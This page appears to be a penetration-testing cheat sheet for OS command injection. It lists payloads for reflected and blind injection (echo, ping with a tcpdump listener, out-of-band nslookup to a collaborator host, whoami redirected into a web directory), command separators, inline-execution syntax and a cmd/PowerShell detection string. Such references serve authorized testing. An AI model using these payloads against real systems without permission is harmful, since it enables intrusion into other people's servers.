# Exploitation

{% hint style="success" %}
Do not forget to use urlencoding
{% endhint %}

**Reflected**

```bash
& echo test123 &
```

**Blind**

```bash
& ping -c 10 127.0.0.1 &
```

**Blind (ping rce listener)**

Kali:

```bash
tcpdump -i <NETWORK_CARD> icmp
```

Victim:

```bash
& ping <KALI_IP> &
```

**BLIND OAST**

```bash
& nslookup collaborator-link.net &
```

**Blind redirecting the input**

```bash
& whoami > /var/www/static/whoami.txt &
```

#### Command seperators <a href="#command-seperators" id="command-seperators"></a>

Copy

```bash
&
&&
|
||
```

#### More command seperators <a href="#more-command-seperators" id="more-command-seperators"></a>

Copy

```bash
Newline (0x0a or \n)
;
```

#### Inline Command Execution (Linux) <a href="#inline-command-execution-linux" id="inline-command-execution-linux"></a>

Copy

```bash
`command`
$(command)
```

#### Check if command is executed via cmd or powershell <a href="#check-if-command-is-executed-via-cmd-or-powershell" id="check-if-command-is-executed-via-cmd-or-powershell"></a>

Copy

```bash
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
```
